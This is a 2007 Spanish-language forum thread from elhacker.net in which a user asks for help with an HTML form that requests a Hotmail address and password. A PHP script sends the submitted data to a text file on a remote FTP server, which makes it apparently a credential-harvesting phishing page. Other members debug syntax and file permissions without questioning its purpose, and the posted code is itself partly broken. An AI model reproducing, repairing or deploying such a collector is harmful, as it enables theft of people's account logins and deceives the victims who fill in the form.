Foro de elhacker.net

Programación => PHP => Mensaje iniciado por: knox18 en 9 Septiembre 2007, 15:30 pm



Título: Duda codigo PHP
Publicado por: knox18 en 9 Septiembre 2007, 15:30 pm
aver stoi intentando krear komo una especie de base de datos.. xo en verdad es un pokito extraña.. estoi intentando volcar el contenido de un formulario en un archivo de texto plano.. aki indico el codigo
archivo principal
Código:
<html>
<body>

<FORM METHOD="post" ACTION="txt.php">

<p>Su cuenta de Correo <input type="text" name="Email" size="20" value="@hotmail.com">
<p>Su contraseña <input type="text" name="pass" size="20" value="******">

<input type="submit" value="enviar" name="enviar">

</body>
</html>

archivo txt.php
Código:
<?PHP; 

if (isset($_post['enviar'])
{

    if (@$fp = fopen("ftp://*****:******@ftp.usuarios.lycos.es/emails.txt","a"))
    {
        fwrite($fp,$_post['Email']."\r\n");
        fclose($fp);
    }
}

?>

El problema es k me da un error en la linea 4 del txt.php.. e intentado por varios metodos xo no le encuentro solucion, x favor una ayuda me sentaria muy bien un saludo


Título: Re: Duda codigo PHP
Publicado por: alone-in-the-chat en 9 Septiembre 2007, 16:05 pm
Hola

Cual es el error que te lanza? Postealo por favor


Saludos.


Título: Re: Duda codigo PHP
Publicado por: knox18 en 9 Septiembre 2007, 16:10 pm
ok! perdon por el detalle
Código:
Parse error: syntax error, unexpected '{' in /data/members/free/tripod/es/t/r/e/trepones/htdocs/txt.php on line 4


Título: Re: Duda codigo PHP
Publicado por: alone-in-the-chat en 9 Septiembre 2007, 16:13 pm

Prueba asi

Código
  1. <?PHP;
  2.  
  3. if (isset($_POST['enviar']))
  4. {
  5.    @$fp = fopen("ftp://*****:******@ftp.usuarios.lycos.es/emails.txt","a");
  6.    if ($fp)
  7.    {
  8.        fwrite($fp,$_POST['Email']."\n");
  9.        fclose($fp);
  10.    }
  11. }
  12.  
  13. ?>
  14.  


Saludos


Título: Re: Duda codigo PHP
Publicado por: knox18 en 9 Septiembre 2007, 17:45 pm
to perfe aora no me da el erro solamente tengo un problema y es k sige sin escribirme en el archivo de texto plano :S gracias alone


Título: Re: Duda codigo PHP
Publicado por: SeniorX en 9 Septiembre 2007, 18:42 pm
Eso es porque quizas no tienes permisos de escritura. O si?
De ser asi tienes q hacerlo con el comando chmod.


Título: Re: Duda codigo PHP
Publicado por: Alex_bro en 9 Septiembre 2007, 19:48 pm
Seguramente sean los permisos como dice SeniorX.
Recuerda filtrar los datos si despues piensas mostrarlos en la web.
Y por si te interesa, te recomendaria pjjTextBase (http://www.pjj.pl/pjjtextbase/) si haces algo mas complicado que guardar correos en un txt.

Saludos.


Título: Re: Duda codigo PHP
Publicado por: knox18 en 9 Septiembre 2007, 21:16 pm
señores no se xk xo me lo lee to perfecto no me da ningun error xo sin embargo sigue sin escribirme en el arxivo de texto plano...  :-\

paso los codigos de nuevo tal y como stan
archivo principal.html
Código:
<html>
<body>

<FORM METHOD="post" ACTION="txt.php">

<p>Su cuenta de Correo <input type="text" name="Email" size="20" value="@hotmail.com">
<p>Su contraseña <input type="text" name="pass" size="20" value="******">

<input type="submit" value="enviar" name="enviar">

</body>

arxivo txt.php
Código:
<?PHP;  if (isset($_post['enviar'])){
     $fp = fopen("ftp://*****:******@ftp.usuarios.lycos.es/emails.txt", "w");
    if ($fp)
     {
         fwrite($fp,$_post['Email']."\n");
         fwrite($fp,$_post['name']."\n");
         fclose($fp);
     } } 

?>


wahhh stoi askeaoooo, xcierto ya le puesto atributos de skritura lectura a todos y sige sin funcionar... :S


Título: Re: Duda codigo PHP
Publicado por: Alex_bro en 9 Septiembre 2007, 23:27 pm
pero tienes que darle atributos de escritura tambien, mira que tenga 777.

Saludos.


Título: Re: Duda codigo PHP
Publicado por: knox18 en 10 Septiembre 2007, 01:33 am
ya tiene atributos de lectura y escritura para propietario, grupo y otros... 666 a un arxivo de texto plano no le puedo dar de ejecucion asi k... no tngo ni idea de xk no se puede. Puede ser x el puto servidor de lycos??


Título: Re: Duda codigo PHP
Publicado por: Alex_bro en 10 Septiembre 2007, 02:28 am
Por lycos no es, yo estuve muchos años en lycos y siempre me funciono todo  ;D

Saludos.


Título: Re: Duda codigo PHP
Publicado por: knox18 en 12 Septiembre 2007, 10:23 am
pues a ver si algien me puede ayudar xk yo toi ya un pokito harto de intentarlo y no funcion :S


Título: Re: Duda codigo PHP
Publicado por: Alex_bro en 12 Septiembre 2007, 13:46 pm
Buenas,
el codigo esta bien, asi que solo pueden ser los permisos, intenta darle 777 para probarlo solo... si no se lo das por seguridad luego lo bloqueas con htaccess...

Podria ser que no conectara bien por el ftp? hazlo de forma local que abra emails.txt.

Saludos.


Título: Re: Duda codigo PHP
Publicado por: knox18 en 14 Septiembre 2007, 15:08 pm
tiene k ser problemas del servidor xk aora tampoco me krea el arxivo emails.txt... asi k no tengo ni idea x cierto man dixo k ai un comando para introducir en el archivo de texto para meterle la privacidad 777 k komando es? esk yo lo ago desde el IE en el ftp en opciones del archivo... un saludo


Título: Re: Duda codigo PHP
Publicado por: Alex_bro en 14 Septiembre 2007, 15:15 pm
El comando es solo cuando tienes acceso por SSH, pero las opciones del archivo es lo mismo, ya que lo que hace el ftp es mandar ese comando que dices al servidor, asi se hace con el ftp.

Saludos.